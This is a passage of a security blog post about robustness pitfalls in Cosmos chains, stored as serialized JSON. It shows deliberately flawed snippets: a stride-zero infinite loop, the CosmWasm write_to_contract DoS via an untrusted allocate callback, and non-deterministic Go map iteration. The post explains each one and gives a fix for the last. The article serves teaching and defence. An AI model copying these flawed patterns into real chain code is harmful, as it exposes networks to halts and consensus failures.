sum",{"type":22,"tag":101,"props":79920,"children":79921},{"style":166},[79922],{"type":27,"value":79923}," :=",{"type":22,"tag":101,"props":79925,"children":79926},{"style":114},[79927],{"type":27,"value":79928}," uint64",{"type":22,"tag":101,"props":79930,"children":79931},{"style":120},[79932],{"type":27,"value":980},{"type":22,"tag":101,"props":79934,"children":79935},{"style":1544},[79936],{"type":27,"value":8065},{"type":22,"tag":101,"props":79938,"children":79939},{"style":120},[79940],{"type":27,"value":2510},{"type":22,"tag":101,"props":79942,"children":79943},{"class":103,"line":2425},[79944,79949,79953,79957,79961,79965,79969,79973,79977,79982],{"type":22,"tag":101,"props":79945,"children":79946},{"style":126},[79947],{"type":27,"value":79948}," end",{"type":22,"tag":101,"props":79950,"children":79951},{"style":166},[79952],{"type":27,"value":79923},{"type":22,"tag":101,"props":79954,"children":79955},{"style":114},[79956],{"type":27,"value":79928},{"type":22,"tag":101,"props":79958,"children":79959},{"style":120},[79960],{"type":27,"value":980},{"type":22,"tag":101,"props":79962,"children":79963},{"style":926},[79964],{"type":27,"value":13147},{"type":22,"tag":101,"props":79966,"children":79967},{"style":120},[79968],{"type":27,"value":980},{"type":22,"tag":101,"props":79970,"children":79971},{"style":126},[79972],{"type":27,"value":61943},{"type":22,"tag":101,"props":79974,"children":79975},{"style":120},[79976],{"type":27,"value":231},{"type":22,"tag":101,"props":79978,"children":79979},{"style":126},[79980],{"type":27,"value":79981},"Arr",{"type":22,"tag":101,"props":79983,"children":79984},{"style":120},[79985],{"type":27,"value":23703},{"type":22,"tag":101,"props":79987,"children":79988},{"class":103,"line":5417},[79989,79993,79998,80002,80007,80011,80016,80020,80025,80029,80034,80038,80042,80046,80050,80054,80059],{"type":22,"tag":101,"props":79990,"children":79991},{"style":3595},[79992],{"type":27,"value":7078},{"type":22,"tag":101,"props":79994,"children":79995},{"style":126},[79996],{"type":27,"value":79997}," idx",{"type":22,"tag":101,"props":79999,"children":80000},{"style":166},[80001],{"type":27,"value":79923},{"type":22,"tag":101,"props":80003,"children":80004},{"style":126},[80005],{"type":27,"value":80006}," msg",{"type":22,"tag":101,"props":80008,"children":80009},{"style":120},[80010],{"type":27,"value":231},{"type":22,"tag":101,"props":80012,"children":80013},{"style":126},[80014],{"type":27,"value":80015},"Start",{"type":22,"tag":101,"props":80017,"children":80018},{"style":120},[80019],{"type":27,"value":21224},{"type":22,"tag":101,"props":80021,"children":80022},{"style":126},[80023],{"type":27,"value":80024},"idx",{"type":22,"tag":101,"props":80026,"children":80027},{"style":166},[80028],{"type":27,"value":12726},{"type":22,"tag":101,"props":80030,"children":80031},{"style":126},[80032],{"type":27,"value":80033}," end",{"type":22,"tag":101,"props":80035,"children":80036},{"style":120},[80037],{"type":27,"value":21224},{"type":22,"tag":101,"props":80039,"children":80040},{"style":126},[80041],{"type":27,"value":80024},{"type":22,"tag":101,"props":80043,"children":80044},{"style":166},[80045],{"type":27,"value":19066},{"type":22,"tag":101,"props":80047,"children":80048},{"style":126},[80049],{"type":27,"value":80006},{"type":22,"tag":101,"props":80051,"children":80052},{"style":120},[80053],{"type":27,"value":231},{"type":22,"tag":101,"props":80055,"children":80056},{"style":126},[80057],{"type":27,"value":80058},"Stride",{"type":22,"tag":101,"props":80060,"children":80061},{"style":120},[80062],{"type":27,"value":154},{"type":22,"tag":101,"props":80064,"children":80065},{"class":103,"line":7714},[80066,80071,80075,80079,80083,80087,80091,80095],{"type":22,"tag":101,"props":80067,"children":80068},{"style":126},[80069],{"type":27,"value":80070}," sum",{"type":22,"tag":101,"props":80072,"children":80073},{"style":166},[80074],{"type":27,"value":19066},{"type":22,"tag":101,"props":80076,"children":80077},{"style":126},[80078],{"type":27,"value":80006},{"type":22,"tag":101,"props":80080,"children":80081},{"style":120},[80082],{"type":27,"value":231},{"type":22,"tag":101,"props":80084,"children":80085},{"style":126},[80086],{"type":27,"value":79981},{"type":22,"tag":101,"props":80088,"children":80089},{"style":120},[80090],{"type":27,"value":2414},{"type":22,"tag":101,"props":80092,"children":80093},{"style":126},[80094],{"type":27,"value":80024},{"type":22,"tag":101,"props":80096,"children":80097},{"style":120},[80098],{"type":27,"value":1884},{"type":22,"tag":101,"props":80100,"children":80101},{"class":103,"line":7723},[80102],{"type":22,"tag":101,"props":80103,"children":80104},{"style":120},[80105],{"type":27,"value":1734},{"type":22,"tag":101,"props":80107,"children":80108},{"class":103,"line":7791},[80109,80113,80117,80121,80126,80131,80135,80140,80145],{"type":22,"tag":101,"props":80110,"children":80111},{"style":3595},[80112],{"type":27,"value":20986},{"type":22,"tag":101,"props":80114,"children":80115},{"style":166},[80116],{"type":27,"value":870},{"type":22,"tag":101,"props":80118,"children":80119},{"style":114},[80120],{"type":27,"value":79898},{"type":22,"tag":101,"props":80122,"children":80123},{"style":120},[80124],{"type":27,"value":80125},"{",{"type":22,"tag":101,"props":80127,"children":80128},{"style":126},[80129],{"type":27,"value":80130},"Sum",{"type":22,"tag":101,"props":80132,"children":80133},{"style":120},[80134],{"type":27,"value":19332},{"type":22,"tag":101,"props":80136,"children":80137},{"style":126},[80138],{"type":27,"value":80139},"sum",{"type":22,"tag":101,"props":80141,"children":80142},{"style":120},[80143],{"type":27,"value":80144},"}, ",{"type":22,"tag":101,"props":80146,"children":80147},{"style":108},[80148],{"type":27,"value":80149},"nil\n",{"type":22,"tag":101,"props":80151,"children":80152},{"class":103,"line":7799},[80153],{"type":22,"tag":101,"props":80154,"children":80155},{"style":120},[80156],{"type":27,"value":188},{"type":22,"tag":23,"props":80158,"children":80159},{},[80160,80162,80167,80168,80174],{"type":27,"value":80161},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":22,"tag":30,"props":80163,"children":80165},{"className":80164},[],[80166],{"type":27,"value":80024},{"type":27,"value":11328},{"type":22,"tag":30,"props":80169,"children":80171},{"className":80170},[],[80172],{"type":27,"value":80173},"stride",{"type":27,"value":80175},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":22,"tag":23,"props":80177,"children":80178},{},[80179],{"type":27,"value":80180},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":22,"tag":23,"props":80182,"children":80183},{},[80184],{"type":27,"value":80185},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":22,"tag":23,"props":80187,"children":80188},{},[80189],{"type":27,"value":80190},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":22,"tag":1760,"props":80192,"children":80194},{"id":80193},"real-world-examples",[80195],{"type":27,"value":80196},"Real-World Examples",{"type":22,"tag":23,"props":80198,"children":80199},{},[80200],{"type":27,"value":80201},"Now, let's examine a few real-world instances.",{"type":22,"tag":23,"props":80203,"children":80204},{},[80205,80207,80213,80214,80220,80222,80228,80230,80236],{"type":27,"value":80206},"In the case of ",{"type":22,"tag":80,"props":80208,"children":80211},{"href":80209,"rel":80210},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[84],[80212],{"type":27,"value":21691},{"type":27,"value":2169},{"type":22,"tag":30,"props":80215,"children":80217},{"className":80216},[],[80218],{"type":27,"value":80219},"CosmWasm",{"type":27,"value":80221}," bug, the helper method ",{"type":22,"tag":30,"props":80223,"children":80225},{"className":80224},[],[80226],{"type":27,"value":80227},"write_to_contract",{"type":27,"value":80229}," negligently calls the untrusted Wasm function ",{"type":22,"tag":30,"props":80231,"children":80233},{"className":80232},[],[80234],{"type":27,"value":80235},"\"allocate\"",{"type":27,"value":231},{"type":22,"tag":23,"props":80238,"children":80239},{},[80240],{"type":22,"tag":80,"props":80241,"children":80244},{"href":80242,"rel":80243},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[84],[80245],{"type":27,"value":80246},"Permalink for snippet",{"type":22,"tag":91,"props":80248,"children":80250},{"code":80249,"language":95,"meta":7,"className":93,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[80251],{"type":22,"tag":30,"props":80252,"children":80253},{"__ignoreMap":7},[80254,80323,80371,80399,80428,80477,80551,80596,80619,80664,80671,80728,80747],{"type":22,"tag":101,"props":80255,"children":80256},{"class":103,"line":104},[80257,80261,80266,80270,80275,80279,80284,80288,80292,80296,80301,80305,80310,80314,80319],{"type":22,"tag":101,"props":80258,"children":80259},{"style":108},[80260],{"type":27,"value":24258},{"type":22,"tag":101,"props":80262,"children":80263},{"style":926},[80264],{"type":27,"value":80265}," write_to_contract",{"type":22,"tag":101,"props":80267,"children":80268},{"style":120},[80269],{"type":27,"value":123},{"type":22,"tag":101,"props":80271,"children":80272},{"style":114},[80273],{"type":27,"value":80274},"A",{"type":22,"tag":101,"props":80276,"children":80277},{"style":166},[80278],{"type":27,"value":169},{"type":22,"tag":101,"props":80280,"children":80281},{"style":114},[80282],{"type":27,"value":80283}," BackendApi",{"type":22,"tag":101,"props":80285,"children":80286},{"style":120},[80287],{"type":27,"value":758},{"type":22,"tag":101,"props":80289,"children":80290},{"style":114},[80291],{"type":27,"value":26037},{"type":22,"tag":101,"props":80293,"children":80294},{"style":166},[80295],{"type":27,"value":169},{"type":22,"tag":101,"props":80297,"children":80298},{"style":114},[80299],{"type":27,"value":80300}," Storage",{"type":22,"tag":101,"props":80302,"children":80303},{"style":120},[80304],{"type":27,"value":758},{"type":22,"tag":101,"props":80306,"children":80307},{"style":114},[80308],{"type":27,"value":80309},"Q",{"type":22,"tag":101,"props":80311,"children":80312},{"style":166},[80313],{"type":27,"value":169},{"type":22,"tag":101,"props":80315,"children":80316},{"style":114},[80317],{"type":27,"value":80318}," Querier",{"type":22,"tag":101,"props":80320,"children":80321},{"style":120},[80322],{"type":27,"value":853},{"type":22,"tag":101,"props":80324,"children":80325},{"class":103,"line":157},[80326,80330,80334,80338,80343,80347,80351,80355,80359,80363,80367],{"type":22,"tag":101,"props":80327,"children":80328},{"style":126},[80329],{"type":27,"value":7882},{"type":22,"tag":101,"props":80331,"children":80332},{"style":166},[80333],{"type":27,"value":169},{"type":22,"tag":101,"props":80335,"children":80336},{"style":166},[80337],{"type":27,"value":870},{"type":22,"tag":101,"props":80339,"children":80340},{"style":114},[80341],{"type":27,"value":80342},"Environment",{"type":22,"tag":101,"props":80344,"children":80345},{"style":120},[80346],{"type":27,"value":123},{"type":22,"tag":101,"props":80348,"children":80349},{"style":114},[80350],{"type":27,"value":80274},{"type":22,"tag":101,"props":80352,"children":80353},{"style":120},[80354],{"type":27,"value":758},{"type":22,"tag":101,"props":80356,"children":80357},{"style":114},[80358],{"type":27,"value":26037},{"type":22,"tag":101,"props":80360,"children":80361},{"style":120},[80362],{"type":27,"value":758},{"type":22,"tag":101,"props":80364,"children":80365},{"style":114},[80366],{"type":27,"value":80309},{"type":22,"tag":101,"props":80368,"children":80369},{"style":120},[80370],{"type":27,"value":343},{"type":22,"tag":101,"props":80372,"children":80373},{"class":103,"line":182},[80374,80379,80383,80387,80391,80395],{"type":22,"tag":101,"props":80375,"children":80376},{"style":126},[80377],{"type":27,"value":80378}," input",{"type":22,"tag":101,"props":80380,"children":80381},{"style":166},[80382],{"type":27,"value":169},{"type":22,"tag":101,"props":80384,"children":80385},{"style":166},[80386],{"type":27,"value":870},{"type":22,"tag":101,"props":80388,"children":80389},{"style":120},[80390],{"type":27,"value":2414},{"type":22,"tag":101,"props":80392,"children":80393},{"style":114},[80394],{"type":27,"value":7458},{"type":22,"tag":101,"props":80396,"children":80397},{"style":120},[80398],{"type":27,"value":18265},{"type":22,"tag":101,"props":80400,"children":80401},{"class":103,"line":367},[80402,80406,80410,80415,80419,80424],{"type":22,"tag":101,"props":80403,"children":80404},{"style":120},[80405],{"type":27,"value":901},{"type":22,"tag":101,"props":80407,"children":80408},{"style":166},[80409],{"type":27,"value":17759},{"type":22,"tag":101,"props":80411,"children":80412},{"style":114},[80413],{"type":27,"value":80414}," VmResult",{"type":22,"tag":101,"props":80416,"children":80417},{"style":120},[80418],{"type":27,"value":123},{"type":22,"tag":101,"props":80420,"children":80421},{"style":114},[80422],{"type":27,"value":80423},"u32",{"type":22,"tag":101,"props":80425,"children":80426},{"style":120},[80427],{"type":27,"value":2282},{"type":22,"tag":101,"props":80429,"children":80430},{"class":103,"line":398},[80431,80435,80440,80444,80449,80453,80457,80461,80465,80469,80473],{"type":22,"tag":101,"props":80432,"children":80433},{"style":108},[80434],{"type":27,"value":950},{"type":22,"tag":101,"props":80436,"children":80437},{"style":126},[80438],{"type":27,"value":80439}," out_size",{"type":22,"tag":101,"props":80441,"children":80442},{"style":166},[80443],{"type":27,"value":960},{"type":22,"tag":101,"props":80445,"children":80446},{"style":926},[80447],{"type":27,"value":80448}," to_u32",{"type":22,"tag":101,"props":80450,"children":80451},{"style":120},[80452],{"type":27,"value":980},{"type":22,"tag":101,"props":80454,"children":80455},{"style":126},[80456],{"type":27,"value":12376},{"type":22,"tag":101,"props":80458,"children":80459},{"style":166},[80460],{"type":27,"value":231},{"type":22,"tag":101,"props":80462,"children":80463},{"style":926},[80464],{"type":27,"value":13147},{"type":22,"tag":101,"props":80466,"children":80467},{"style":120},[80468],{"type":27,"value":45960},{"type":22,"tag":101,"props":80470,"children":80471},{"style":166},[80472],{"type":27,"value":5455},{"type":22,"tag":101,"props":80474,"children":80475},{"style":120},[80476],{"type":27,"value":1520},{"type":22,"tag":101,"props":80478,"children":80479},{"class":103,"line":428},[80480,80484,80488,80492,80496,80500,80505,80509,80513,80517,80521,80525,80530,80534,80538,80543,80547],{"type":22,"tag":101,"props":80481,"children":80482},{"style":108},[80483],{"type":27,"value":950},{"type":22,"tag":101,"props":80485,"children":80486},{"style":126},[80487],{"type":27,"value":13168},{"type":22,"tag":101,"props":80489,"children":80490},{"style":166},[80491],{"type":27,"value":960},{"type":22,"tag":101,"props":80493,"children":80494},{"style":126},[80495],{"type":27,"value":46953},{"type":22,"tag":101,"props":80497,"children":80498},{"style":166},[80499],{"type":27,"value":231},{"type":22,"tag":101,"props":80501,"children":80502},{"style":926},[80503],{"type":27,"value":80504},"call_function1",{"type":22,"tag":101,"props":80506,"children":80507},{"style":120},[80508],{"type":27,"value":980},{"type":22,"tag":101,"props":80510,"children":80511},{"style":6476},[80512],{"type":27,"value":80235},{"type":22,"tag":101,"props":80514,"children":80515},{"style":120},[80516],{"type":27,"value":758},{"type":22,"tag":101,"props":80518,"children":80519},{"style":166},[80520],{"type":27,"value":985},{"type":22,"tag":101,"props":80522,"children":80523},{"style":120},[80524],{"type":27,"value":2414},{"type":22,"tag":101,"props":80526,"children":80527},{"style":126},[80528],{"type":27,"value":80529},"out_size",{"type":22,"tag":101,"props":80531,"children":80532},{"style":166},[80533],{"type":27,"value":231},{"type":22,"tag":101,"props":80535,"children":80536},{"style":926},[80537],{"type":27,"value":18887},{"type":22,"tag":101,"props":80539,"children":80540},{"style":120},[80541],{"type":27,"value":80542},"()])",{"type":22,"tag":101,"props":80544,"children":80545},{"style":166},[80546],{"type":27,"value":5455},{"type":22,"tag":101,"props":80548,"children":80549},{"style":120},[80550],{"type":27,"value":1520},{"type":22,"tag":101,"props":80552,"children":80553},{"class":103,"line":997},[80554,80558,80563,80567,80572,80576,80580,80584,80588,80592],{"type":22,"tag":101,"props":80555,"children":80556},{"style":108},[80557],{"type":27,"value":950},{"type":22,"tag":101,"props":80559,"children":80560},{"style":126},[80561],{"type":27,"value":80562}," target_ptr",{"type":22,"tag":101,"props":80564,"children":80565},{"style":166},[80566],{"type":27,"value":960},{"type":22,"tag":101,"props":80568,"children":80569},{"style":926},[80570],{"type":27,"value":80571}," ref_to_u32",{"type":22,"tag":101,"props":80573,"children":80574},{"style":120},[80575],{"type":27,"value":980},{"type":22,"tag":101,"props":80577,"children":80578},{"style":166},[80579],{"type":27,"value":985},{"type":22,"tag":101,"props":80581,"children":80582},{"style":126},[80583],{"type":27,"value":13090},{"type":22,"tag":101,"props":80585,"children":80586},{"style":120},[80587],{"type":27,"value":2261},{"type":22,"tag":101,"props":80589,"children":80590},{"style":166},[80591],{"type":27,"value":5455},{"type":22,"tag":101,"props":80593,"children":80594},{"style":120},[80595],{"type":27,"value":1520},{"type":22,"tag":101,"props":80597,"children":80598},{"class":103,"line":1032},[80599,80603,80607,80611,80615],{"type":22,"tag":101,"props":80600,"children":80601},{"style":3595},[80602],{"type":27,"value":16283},{"type":22,"tag":101,"props":80604,"children":80605},{"style":126},[80606],{"type":27,"value":80562},{"type":22,"tag":101,"props":80608,"children":80609},{"style":166},[80610],{"type":27,"value":1541},{"type":22,"tag":101,"props":80612,"children":80613},{"style":1544},[80614],{"type":27,"value":1547},{"type":22,"tag":101,"props":80616,"children":80617},{"style":120},[80618],{"type":27,"value":154},{"type":22,"tag":101,"props":80620,"children":80621},{"class":103,"line":1063},[80622,80626,80630,80634,80639,80643,80648,80652,80656,80660],{"type":22,"tag":101,"props":80623,"children":80624},{"style":3595},[80625],{"type":27,"value":19742},{"type":22,"tag":101,"props":80627,"children":80628},{"style":114},[80629],{"type":27,"value":19747},{"type":22,"tag":101,"props":80631,"children":80632},{"style":120},[80633],{"type":27,"value":980},{"type":22,"tag":101,"props":80635,"children":80636},{"style":114},[80637],{"type":27,"value":80638},"CommunicationError",{"type":22,"tag":101,"props":80640,"children":80641},{"style":166},[80642],{"type":27,"value":970},{"type":22,"tag":101,"props":80644,"children":80645},{"style":926},[80646],{"type":27,"value":80647},"zero_address",{"type":22,"tag":101,"props":80649,"children":80650},{"style":120},[80651],{"type":27,"value":17881},{"type":22,"tag":101,"props":80653,"children":80654},{"style":166},[80655],{"type":27,"value":231},{"type":22,"tag":101,"props":80657,"children":80658},{"style":926},[80659],{"type":27,"value":18887},{"type":22,"tag":101,"props":80661,"children":80662},{"style":120},[80663],{"type":27,"value":1980},{"type":22,"tag":101,"props":80665,"children":80666},{"class":103,"line":1071},[80667],{"type":22,"tag":101,"props":80668,"children":80669},{"style":120},[80670],{"type":27,"value":1734},{"type":22,"tag":101,"props":80672,"children":80673},{"class":103,"line":1110},[80674,80679,80683,80687,80691,80695,80699,80703,80708,80712,80716,80720,80724],{"type":22,"tag":101,"props":80675,"children":80676},{"style":926},[80677],{"type":27,"value":80678}," write_region",{"type":22,"tag":101,"props":80680,"children":80681},{"style":120},[80682],{"type":27,"value":980},{"type":22,"tag":101,"props":80684,"children":80685},{"style":166},[80686],{"type":27,"value":985},{"type":22,"tag":101,"props":80688,"children":80689},{"style":126},[80690],{"type":27,"value":39687},{"type":22,"tag":101,"props":80692,"children":80693},{"style":166},[80694],{"type":27,"value":231},{"type":22,"tag":101,"props":80696,"children":80697},{"style":926},[80698],{"type":27,"value":79479},{"type":22,"tag":101,"props":80700,"children":80701},{"style":120},[80702],{"type":27,"value":1147},{"type":22,"tag":101,"props":80704,"children":80705},{"style":126},[80706],{"type":27,"value":80707},"target_ptr",{"type":22,"tag":101,"props":80709,"children":80710},{"style":120},[80711],{"type":27,"value":758},{"type":22,"tag":101,"props":80713,"children":80714},{"style":126},[80715],{"type":27,"value":12376},{"type":22,"tag":101,"props":80717,"children":80718},{"style":120},[80719],{"type":27,"value":2261},{"type":22,"tag":101,"props":80721,"children":80722},{"style":166},[80723],{"type":27,"value":5455},{"type":22,"tag":101,"props":80725,"children":80726},{"style":120},[80727],{"type":27,"value":1520},{"type":22,"tag":101,"props":80729,"children":80730},{"class":103,"line":1118},[80731,80735,80739,80743],{"type":22,"tag":101,"props":80732,"children":80733},{"style":114},[80734],{"type":27,"value":18335},{"type":22,"tag":101,"props":80736,"children":80737},{"style":120},[80738],{"type":27,"value":980},{"type":22,"tag":101,"props":80740,"children":80741},{"style":126},[80742],{"type":27,"value":80707},{"type":22,"tag":101,"props":80744,"children":80745},{"style":120},[80746],{"type":27,"value":2510},{"type":22,"tag":101,"props":80748,"children":80749},{"class":103,"line":1158},[80750],{"type":22,"tag":101,"props":80751,"children":80752},{"style":120},[80753],{"type":27,"value":188},{"type":22,"tag":23,"props":80755,"children":80756},{},[80757,80759,80765,80767,80772],{"type":27,"value":80758},"As users have complete control over ",{"type":22,"tag":30,"props":80760,"children":80762},{"className":80761},[],[80763],{"type":27,"value":80764},"allocate",{"type":27,"value":80766},", there is a possibility to call back ",{"type":22,"tag":30,"props":80768,"children":80770},{"className":80769},[],[80771],{"type":27,"value":80227},{"type":27,"value":80773}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":22,"tag":23,"props":80775,"children":80776},{},[80777,80779,80786],{"type":27,"value":80778},"Additional real-world examples include ",{"type":22,"tag":80,"props":80780,"children":80783},{"href":80781,"rel":80782},"https://github.com/cosmos/cosmos-sdk/issues/16676",[84],[80784],{"type":27,"value":80785},"not returning proper values for malformed txs",{"type":27,"value":231},{"type":22,"tag":53,"props":80788,"children":80790},{"id":80789},"order-was-the-dream-of-man",[80791],{"type":27,"value":80792},"Order Was the Dream of Man",{"type":22,"tag":23,"props":80794,"children":80795},{},[80796],{"type":27,"value":80797},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":22,"tag":23,"props":80799,"children":80800},{},[80801],{"type":27,"value":80802},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":22,"tag":91,"props":80804,"children":80806},{"code":80805,"language":79671,"meta":7,"className":79672,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[80807],{"type":22,"tag":30,"props":80808,"children":80809},{"__ignoreMap":7},[80810,80843,80850,80879,80916,80945,80966,80978,81015,81023,81030,81037],{"type":22,"tag":101,"props":80811,"children":80812},{"class":103,"line":104},[80813,80817,80822,80826,80830,80834,80838],{"type":22,"tag":101,"props":80814,"children":80815},{"style":108},[80816],{"type":27,"value":36752},{"type":22,"tag":101,"props":80818,"children":80819},{"style":114},[80820],{"type":27,"value":80821}," ObjectMap",{"type":22,"tag":101,"props":80823,"children":80824},{"style":108},[80825],{"type":27,"value":53665},{"type":22,"tag":101,"props":80827,"children":80828},{"style":120},[80829],{"type":27,"value":2414},{"type":22,"tag":101,"props":80831,"children":80832},{"style":114},[80833],{"type":27,"value":33663},{"type":22,"tag":101,"props":80835,"children":80836},{"style":120},[80837],{"type":27,"value":19412},{"type":22,"tag":101,"props":80839,"children":80840},{"style":114},[80841],{"type":27,"value":80842},"string\n",{"type":22,"tag":101,"props":80844,"children":80845},{"class":103,"line":157},[80846],{"type":22,"tag":101,"props":80847,"children":80848},{"emptyLinePlaceholder":15},[80849],{"type":27,"value":1581},{"type":22,"tag":101,"props":80851,"children":80852},{"class":103,"line":182},[80853,80857,80862,80866,80871,80875],{"type":22,"tag":101,"props":80854,"children":80855},{"style":108},[80856],{"type":27,"value":79807},{"type":22,"tag":101,"props":80858,"children":80859},{"style":926},[80860],{"type":27,"value":80861}," EmitEntries",{"type":22,"tag":101,"props":80863,"children":80864},{"style":120},[80865],{"type":27,"value":980},{"type":22,"tag":101,"props":80867,"children":80868},{"style":126},[80869],{"type":27,"value":80870},"objectMap",{"type":22,"tag":101,"props":80872,"children":80873},{"style":114},[80874],{"type":27,"value":80821},{"type":22,"tag":101,"props":80876,"children":80877},{"style":120},[80878],{"type":27,"value":1463},{"type":22,"tag":101,"props":80880,"children":80881},{"class":103,"line":367},[80882,80886,80890,80894,80898,80902,80907,80912],{"type":22,"tag":101,"props":80883,"children":80884},{"style":3595},[80885],{"type":27,"value":7078},{"type":22,"tag":101,"props":80887,"children":80888},{"style":126},[80889],{"type":27,"value":310},{"type":22,"tag":101,"props":80891,"children":80892},{"style":120},[80893],{"type":27,"value":758},{"type":22,"tag":101,"props":80895,"children":80896},{"style":126},[80897],{"type":27,"value":43146},{"type":22,"tag":101,"props":80899,"children":80900},{"style":166},[80901],{"type":27,"value":79923},{"type":22,"tag":101,"props":80903,"children":80904},{"style":3595},[80905],{"type":27,"value":80906}," range",{"type":22,"tag":101,"props":80908,"children":80909},{"style":126},[80910],{"type":27,"value":80911}," objectMap",{"type":22,"tag":101,"props":80913,"children":80914},{"style":120},[80915],{"type":27,"value":154},{"type":22,"tag":101,"props":80917,"children":80918},{"class":103,"line":398},[80919,80923,80927,80932,80936,80941],{"type":22,"tag":101,"props":80920,"children":80921},{"style":126},[80922],{"type":27,"value":30184},{"type":22,"tag":101,"props":80924,"children":80925},{"style":120},[80926],{"type":27,"value":231},{"type":22,"tag":101,"props":80928,"children":80929},{"style":126},[80930],{"type":27,"value":80931},"EventManager",{"type":22,"tag":101,"props":80933,"children":80934},{"style":120},[80935],{"type":27,"value":231},{"type":22,"tag":101,"props":80937,"children":80938},{"style":926},[80939],{"type":27,"value":80940},"EmitEvent",{"type":22,"tag":101,"props":80942,"children":80943},{"style":120},[80944],{"type":27,"value":1850},{"type":22,"tag":101,"props":80946,"children":80947},{"class":103,"line":428},[80948,80953,80957,80962],{"type":22,"tag":101,"props":80949,"children":80950},{"style":126},[80951],{"type":27,"value":80952}," sdk",{"type":22,"tag":101,"props":80954,"children":80955},{"style":120},[80956],{"type":27,"value":231},{"type":22,"tag":101,"props":80958,"children":80959},{"style":926},[80960],{"type":27,"value":80961},"NewEvent",{"type":22,"tag":101,"props":80963,"children":80964},{"style":120},[80965],{"type":27,"value":1850},{"type":22,"tag":101,"props":80967,"children":80968},{"class":103,"line":997},[80969,80974],{"type":22,"tag":101,"props":80970,"children":80971},{"style":6476},[80972],{"type":27,"value":80973}," \"MapContext\"",{"type":22,"tag":101,"props":80975,"children":80976},{"style":120},[80977],{"type":27,"value":179},{"type":22,"tag":101,"props":80979,"children":80980},{"class":103,"line":1032},[80981,80986,80990,80995,80999,81003,81007,81011],{"type":22,"tag":101,"props":80982,"children":80983},{"style":126},[80984],{"type":27,"value":80985}," sdk",{"type":22,"tag":101,"props":80987,"children":80988},{"style":120},[80989],{"type":27,"value":231},{"type":22,"tag":101,"props":80991,"children":80992},{"style":926},[80993],{"type":27,"value":80994},"NewAttribute",{"type":22,"tag":101,"props":80996,"children":80997},{"style":120},[80998],{"type":27,"value":980},{"type":22,"tag":101,"props":81000,"children":81001},{"style":126},[81002],{"type":27,"value":75661},{"type":22,"tag":101,"props":81004,"children":81005},{"style":120},[81006],{"type":27,"value":758},{"type":22,"tag":101,"props":81008,"children":81009},{"style":126},[81010],{"type":27,"value":43146},{"type":22,"tag":101,"props":81012,"children":81013},{"style":120},[81014],{"type":27,"value":1706},{"type":22,"tag":101,"props":81016,"children":81017},{"class":103,"line":1063},[81018],{"type":22,"tag":101,"props":81019,"children":81020},{"style":120},[81021],{"type":27,"value":81022}," )\n",{"type":22,"tag":101,"props":81024,"children":81025},{"class":103,"line":1071},[81026],{"type":22,"tag":101,"props":81027,"children":81028},{"style":120},[81029],{"type":27,"value":71825},{"type":22,"tag":101,"props":81031,"children":81032},{"class":103,"line":1110},[81033],{"type":22,"tag":101,"props":81034,"children":81035},{"style":120},[81036],{"type":27,"value":1734},{"type":22,"tag":101,"props":81038,"children":81039},{"class":103,"line":1118},[81040],{"type":22,"tag":101,"props":81041,"children":81042},{"style":120},[81043],{"type":27,"value":188},{"type":22,"tag":23,"props":81045,"children":81046},{},[81047],{"type":27,"value":81048},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":22,"tag":604,"props":81050,"children":81051},{},[81052],{"type":22,"tag":23,"props":81053,"children":81054},{},[81055],{"type":27,"value":81056},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":22,"tag":23,"props":81058,"children":81059},{},[81060,81062,81067],{"type":27,"value":81061},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":22,"tag":30,"props":81063,"children":81065},{"className":81064},[],[81066],{"type":27,"value":6350},{"type":27,"value":81068}," and then fetch the values using the sorted key array before emitting them.",{"type":22,"tag":91,"props":81070,"children":81072},{"code":81071,"language":79671,"meta":7,"className":79672,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n 